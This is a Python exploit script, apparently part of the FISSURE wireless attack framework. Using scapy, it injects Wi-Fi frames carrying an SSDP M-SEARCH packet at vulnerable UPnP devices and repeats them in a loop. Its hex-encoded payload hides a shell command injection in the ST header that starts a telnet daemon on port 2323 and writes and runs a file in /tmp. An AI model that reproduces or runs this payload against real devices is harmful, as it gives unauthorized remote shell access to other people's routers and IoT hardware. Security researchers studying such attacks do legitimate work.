#!/usr/bin/env python

import sys
import time
import subprocess
from scapy.all import RadioTap,sendp,IP,UDP,LLC,SNAP

#################################################
############ Default FISSURE Header #############
#################################################
def getArguments():
    iface = ""
    interval = "0.1"
    ap_mac = "abcdef123456"
    sta_source_mac = "aabbcc112233"
    sta_dest_mac = "FFFFFFFFFFFF"
    channel = "2412M"
    type_subtype = "08"
    flags = "01"
    duration = "2C00"
    fragment_sequence = "E0EB"
    qos_control = "0000"
    udp_source_ip = "192.168.1.10"
    udp_dest_ip = "239.255.255.250"
    udp_source_port = "12345"
    udp_dest_port = "1900"
    udp_data = "4d2d534541524348202a20485454502f312e310d0a484f53543a3233392e3235352e3235352e3235303a313930300d0a53543a757569643a6074656c6e657464202d7020323332333b206563686f2022746f756368202f746d702f74657374223e2f746d702f6167656e743b2063686d6f64202b78202f746d702f6167656e743b202f746d702f6167656e74600d0a4d583a320d0a4d414e3a22737364703a646973636f766572220d0a0d0a"
    run_with_sudo = "True"
    notes = 'While in monitor mode, injects a command via SSDP to a vulnerable UPnP device to unlock telnet at port 2323 and write files to /tmp. Same as "UDP to AP QoS" in Packet Crafter.'
    
    arg_names = ['iface','interval','ap_mac','sta_source_mac','sta_dest_mac', 'channel', 'type_subtype','flags','duration','fragment_sequence','qos_control','udp_source_ip','udp_dest_ip','udp_source_port','udp_dest_port','udp_data','run_with_sudo','notes']
    arg_values = [iface,interval,ap_mac,sta_source_mac,sta_dest_mac,channel,type_subtype,flags,duration,fragment_sequence,qos_control,udp_source_ip,udp_dest_ip,udp_source_port,udp_dest_port,udp_data,run_with_sudo,notes]

    return (arg_names,arg_values)
    
#################################################

if __name__ == "__main__":
    (iface,interval,ap_mac,sta_source_mac,sta_dest_mac,channel,type_subtype,flags,duration,fragment_sequence,qos_control,udp_source_ip,udp_dest_ip,udp_source_port,udp_dest_port,udp_data,run_with_sudo,notes) = getArguments()[1]
    
    # Accept Command Line Arguments
    try:
        get_iface = sys.argv[1]
        interval = sys.argv[2]
        ap_mac = sys.argv[3]
        sta_source_mac = sys.argv[4]
        sta_dest_mac = sys.argv[5]
        channel = sys.argv[6]
        type_subtype = sys.argv[7]
        flags = sys.argv[8]
        duration = sys.argv[9]
        fragment_sequence = sys.argv[10]
        qos_control = sys.argv[11]
        udp_source_ip = sys.argv[12]
        udp_dest_ip = sys.argv[13]
        udp_source_port = sys.argv[14]
        udp_dest_port = sys.argv[15]
        udp_data = sys.argv[16]
    except:
        pass

#################################################
    
    # Run the Exploit    
    subprocess.run(['sudo', 'ip', 'link', 'set', get_iface, 'down'])
    subprocess.run(['sudo', 'iwconfig', get_iface, 'freq', channel])
    subprocess.run(['sudo', 'ip', 'link', 'set', get_iface, 'up'])
    llc_bytes = LLC()/SNAP()

    udp_bytes = IP()/UDP()
    udp_bytes[IP].src = udp_source_ip
    udp_bytes[IP].dst = udp_dest_ip
    udp_bytes[UDP].sport = int(udp_source_port)
    udp_bytes[UDP].dport = int(udp_dest_port)

    udp_data = bytes.fromhex(udp_data)

    # Cannot Send Same Exact Message on PtP Network
    while True:
        if fragment_sequence == "E0EB":
            fragment_sequence = "F0EB"
        else:
            fragment_sequence = "E0EB"
        print(type_subtype + flags + duration + ap_mac + sta_source_mac + sta_dest_mac + fragment_sequence)
        msg_data1 = bytes.fromhex(type_subtype + flags + duration + ap_mac.replace(":", "") + sta_source_mac.replace(":", "") + sta_dest_mac.replace(":", "") + fragment_sequence)
        print(msg_data1)
        scapy_data = RadioTap()/msg_data1/llc_bytes/udp_bytes/udp_data
        print(scapy_data)
        sendp(scapy_data, iface=get_iface, loop=0)   

        time.sleep(float(interval))
